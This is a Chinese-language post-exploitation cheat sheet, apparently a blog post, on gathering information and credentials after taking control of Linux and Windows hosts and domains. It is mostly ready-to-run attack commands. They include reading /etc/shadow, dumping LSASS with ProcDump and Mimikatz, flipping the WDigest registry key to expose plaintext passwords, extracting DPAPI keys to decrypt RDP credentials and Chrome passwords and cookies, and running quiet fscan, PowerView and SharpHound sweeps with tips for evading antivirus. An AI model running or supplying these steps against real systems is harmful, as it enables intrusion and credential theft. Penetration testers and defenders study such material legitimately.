inux 主机信息收集
1、Linux 用户信息收集
查看Linux用户信息
在获取服务器控制权限之后,要先看 Linux 用户的信息
whoami
id -un
who -a //返回当前登录系统的所有用户、登陆时间、终端类型

用户组信息收集命令
cat /etc/group

查看系统历史登陆用户的记录
last

查看系统配置的sudo权限规则
cat /etc/sudoers

查看用户加密密码信息
cat /etc/shadow
cat /etc/passwd

2、Linux 网络信息收集
获取目标主机网络接口信息
获取网络信息有助于绘制网络拓扑
ifconfig -a
ip addr

可以通过执行命令获取防火墙的规则列表,可以帮助我们了机主机的端口过滤策略,寻找可用的端口或者服务
iptables -L -n

信息,用于发现主机和外部连接通信的情况
netstat -anpt //所有tcp连接
netstat -anpu //所有udp连接

查看路由表以及邻近主机信息
route
ip route
ip neigh //查看arp缓存

3、收集Linux系统信息
lsb_release -a //Linux 发行版信息
uname -a //内核信息
uname -n //查看系统主机名
uname -m //查看系统内核架构
hostname //查看系统主机名
cat /proc/version //查看内核编译信息
cat /etc/*-release //查看发行版的详细版本信息
cat /proc/cpuinfo //查看cpu型号、核心数
4、收集Linux进程与服务信息
查看Linux进程和服务可以发现主机的web服务以及数据库服务,docker 服务等等内容
ps aux
top
cat /etc/services

5、收集Linux历史命令信息
用户使用过的命令可能会有一些敏感操作,比如修改密码等等
history
cat ~/.bash_history

6、收集Linux目录权限信息
快速确定可以写入和执行的目录,对后续上传文件执行payload有帮助
可写入的目录
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null
可执行的目录
find / -perm -o+x -type d 2>/dev/null
7、收集Linux 文件信息
查看邮件信息
/var/mail
查看日志信息
/var/log
查看定时任务
sudo crontab -u username -l
cat /etc/crontab
查看系统环境信息
env
查看ssh公私钥信息
~/.ssh
/etc/ssh
Windows 主机信息收集
1、收集windows用户信息
whoami /all

2、收集 Windows 网络信息
ipconfig /all
netstat -r //获


3、收集 Windows 进程信息
netstat -ano

4、收集Windows补丁信息
可以更好的帮助判断可用的漏洞来进行提权
systeminfo

5、收集 Windows软件信息
Get-WmiObject -Class Win32_Product

查注册表,可以查到安装的所有软件
$Path = @(
‘HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*’,
‘HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall*’,
‘HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*’,
‘HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall*’
)
$Items = Get-ItemProperty -Path $Path -ErrorAction SilentlyContinue
$Items | Where-Object DisplayName | Select-Object -Property
DisplayName, DisplayVersion, InstallDate, UninstallString

查看服务信息
sc query state=all

6、收集 Windows 计划任务
schtasks

Get-ScheduledTask //一样的效果

7、查看共享信息
查看共享资源信息
net share

net view
8、查看远程桌面连接历史记录中保存的凭证
cmdkey /l

9、LSA 凭证获取
在具备相应权限的情况下,管理员可以利用工具提取 lsass.exe 进程中国呢存储的 Windows 用户登陆哈希,然后把这些哈希值进一步通过 MImikatz 工具来进行破解。这里直接讲使用 mimikatz 获取,不过实战中因为有杀软,很少直接运行,多采用的是 dump + 离线分析。
mimikatz获取
1、执行 mimikatz.exe2、利用 privilege::debug 命令提升到调试权限3、采用 sekurlsa::logonpasswords 命令执行密码抓取操作。

不过现在的Windows server 2012 R2 和 Windows 10 不会直接显示明文密码

Cobalt Strike 中 dump hashes 获取

在因为系统默认禁止在内存中保存明文密码,可通过修改注册表的方式实现修改
Reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
利用ProcDump 和 Mimikatz 离线读取 lsass.dmp
因为现在很多主机都会装杀软,导致无法直接获取Windows保存的身份凭证。所以使用这个方法替代。微软原生工具 (白利用) 使用带有微软签名的工具导出内存
procdump.exe -ma lsass.exe lsass.dmp
然后把 lsass.dmp 文件拿到本地系统。在Mimikatz 工具中使用
sekurlsa::logonpasswords full
导出lsass.dmp 文件中存储的所有密码和哈希值

10、DPAPI Key 凭证获取
数据保护api,是Windows中广泛应用的加密机制,主要用于数据的加密和解密。比如对edge 浏览器和chrome等浏览器保存的敏感数据。加密解密操作主要依赖主密钥
C:\Users\123\AppData\Local\Microsoft\Edge\User Data>type “Local State”
主密钥主要在这个文件中

这里可以利用 Mimikatz 执行命令获取主密钥
privilege::debug
sekurlsa::dpapi

同样也可以使用 ProcDump 工具将lsass.exe进程的内存内容导出为 dmp格式的转储文件。然后利用 mimikatz 工具加载dmp文件,提取主密钥。
11、RDP 凭证获取
RDP账户密码也是采用dpapi 相关的函数进行加密处理的,所以获取到主密钥也就可以解密这些凭证信息拿到密码。
cmdkey -l

这里查询到本地保存到RDP凭证,这里使用的是cmd命令
dir /a %userprofile%\AppData\Local\Microsoft\Credentials*

后就可以利用 Mimikatz工具获取特定凭证文件对应的guidMasterKey
mimikatz# dpapi::cred /in:C:\Users\hanmengzi\AppData\Local\Microsoft\Credentials[凭证文件]
这个凭证文件就是上面找到的DFBE开头的文件执行完成之后就可以通过 Mimikatz 的
sekurlsa::dpapi 命令查询 guid 对应的主密钥

这个MasterKey就是主密钥获取到了主密钥之后就可以对RDP文件中的CredentialBlob 字段进行解密
dpapi::cred /in:C:\Users\qax\AppData\Local\Microsoft\Credentials[凭证文件] /masterkey:

还可以通过访问 Windows 注册表来获取 RDP 连接的历史记录,在RDP凭证通常存储在注册表中
reg query HKEY_USERS


然后就可以读取注册表
HKEY_USERS[SID]\SOFTWARE\Microsoft\Terminal Server Client\Servers
这下面的内容可以获取到连接过的主机ip
HKEY_USERS\S-1-5-21-3248289176-602487271-2728542675-1000\SOFTWARE\Microsoft\Terminal Server Client\Servers\IP
这里输入具体ip可以得到 RDP连接时使用的用户名
12、获取浏览器账户信息
浏览器用久了之后会在里面存很多密码,所以在浏览器中的账户密码和cookie信息很有用chrome 浏览器就是使用 sqlite 数据库存储的cookie信息,并且采用dpapi加密机制保存的数据。
dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Network\Cookies”
还可以获取账户密码信息
dpapi::chrome /in:”%localappdata%\Google\Chrome\User Data\Default\Login Data” /unprotect
网络信息收集
在大型的企业内部网络中,可以对主机内部的c段和b段进行扫描。比如可以使用fscan等工具
./fscan_amd64 -h 192.168.166.0/24 -np
这可以不使用 icmp探测,使用-np同时,fscan默认会使用内置的poc进行扫描,这种可能会被直接察觉,使用使用 -nopoc
./fscan_amd64 -h 192.168.166.0/24 -nopoc
Windows 域信息收集
在大型企业中,很多都是在用域,所以很有必要对域进行信息收集首先要判断主机是否在域中。
ipconfig /all

首先查看dns信息,如果主机在域中,并且当前用户是域用户,就可以开启域内的信息收集
net config workstation
这个命令可以查询当前主机所属的域

控制器组的信息
net group “Domain Controllers” /domain
1、收集用户组列表信息
检索域内所有用户组的列表
net group /domain
默认情况下, Domain Admins和 Enterprise Admins有对域内所有域控制器的完全控制权限。
2、收集域密码策略
net accounts /domain
这里会获取当前域环境中用户密码安全以及复杂性要求。
3、net 命令收集域信息
| 命令 | 说明 |
| net view /domain:xxx | 查询域内所有计算机 |
| net view /domain:xxxx | 查看指定域内在线的计算机列表 |
| net group “domain computers” /domain | 域内所有计算机名 |
| net group /domain | 查询域内所有用户组列表 |
| net localgroup administrators | 获取域内置 administrors 组 |
| net group “domain computers” /domain | 查看域成员计算机列表 |
| net accounts /domain | 获取域密码策略设置 |
4、WMI 框架信息收集
wmic useraccount get /all
获取域内所有用户信息

5、 dsquery 信息收集
dsquery 是Windows系统为 ad 域环境设计的工具
dsquery computer:用于查找目录中的计算机。
dsquery contact:用于查找目录中的联系人。
dsquery subnet:用于查找目录中的子网。
dsquery group:用于查找目录中的组。
dsquery ou:用于查找目录中的组织单位。
dsquery site:用于查找目录中的站点。
dsquery server:用于查找目录中的AD DC/LDS实例。
dsquery user:用于查找目录中的用户。
dsquery quota:用于查找目录中的配额规定。
dsquery partition:用于查找目录中的分区。
dsquery *:用通用的LDAP查询来查找目录中的任何对象。
6、通过 SPN(服务主体名称)信息收集
在域环境部署服务的时候,需要在 ad 域中为服务注册一个 spn,这个spn会跟服务登陆账户进行关联,通常是由服务类型,主机名,端口号组成,帮助客户端找到和验证目标服务。
spn主要分为两类,一类用于注册域内机器账户,另一类用户注册域内用户,通过执行命令,可以了解当前域内所有 spn
setspn -Q /
因为 spn 查询是 kerberos 协议中的常规操作,所以安全设备很难判断客户端向 KDC 发送包含 spn 服务票据的请求是否存在恶意。
7、通过 Power View 收集域信息
在Windows环境下使用 PowerView 脚本之前,需要导入脚本
SET-ExecutionPolicy RemoteSigned
把执行策略改为 RemoteSigned 就可以让本地脚本不需要签名就可以运行在PowerShell 命令行环境中,运行
Import-Module .\PowerView.ps1
导入模块,然后执行
Get-NetDomain
就可以获取当前用户所在域的全部信息。
● 获取当前用户名和域信息:Get-NetUser● 列出域控制器信息:Get-NetDomainController● 查找域用户:Find-NetUser -UserName username● 列出域计算机信息:Get-NetComputer● 查找域组信息:Get-NetGroup● 列出域策略信息:Get-NetPolicy● 查找域共享信息:Get-NetShare● 查找域内管理员组成员:Get-NetLocalGroup -GroupName “Administrators”● 查找本地管理员组成员:Find-LocalAdminAccess● 查找域内管理员权限的机器:Invoke-EnumerateLocalAdmin● 查找域内可用的PowerShell会话:Get-PSSession/Get-PSSessionConfiguration● 查找域内的会话和RDP会话:Get-NetSession● 查找域内可访问的共享目录:Find-InterestingFile-Path “\hostname\share”● 查找域内可访问的系统信息:Get-NetLoggedon● 查找域内可访问的用户的历史记录:Get-NetUser -UserName username | Get-UserEvent
8、使用 BloodHound 收集信息
sharphound 有二进制和 ps1 两种版本供用户选择,可以把sharpHound.exe 传到主机内进行收集
SharpHound.exe -c all
如果有 PowerShell 环境可以执行 ps1 脚本来收集所需要的数据(脚本需要管理员权限)
powershell -exec bypass -command “Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all”
这里执行过之后会出现有一个zip的压缩包,导入到 bloodhound 中就可以


常用查询功能
● 查询所有域管理员:all Domain Admins。● 映射域信任:Map Domain Trusts。● 查找到达域管理员的最短路径:Shortest Paths to Domain Admins。● 查找具有DCSync权限的主体:Principals with DCSync Rights。● 具有外部域组成员身份的用户:Users with Foreign Domain Group Membership。● 具有外部域组成员身份的组:Groups with Foreign Domain Group Membership。● 无约束委派系统的最短路径:Shortest Paths to Unconstrained Delegation Systems。● 从所属主体到域管理员的最短路径:Shortest Paths to Domain Admins from Owned Principals。● 高价值目标的最短路径:Shortest Paths to High Value Targets。

tips
可能写的不全,如果大家有别的方式方法可以分享一下哦














暂无评论内容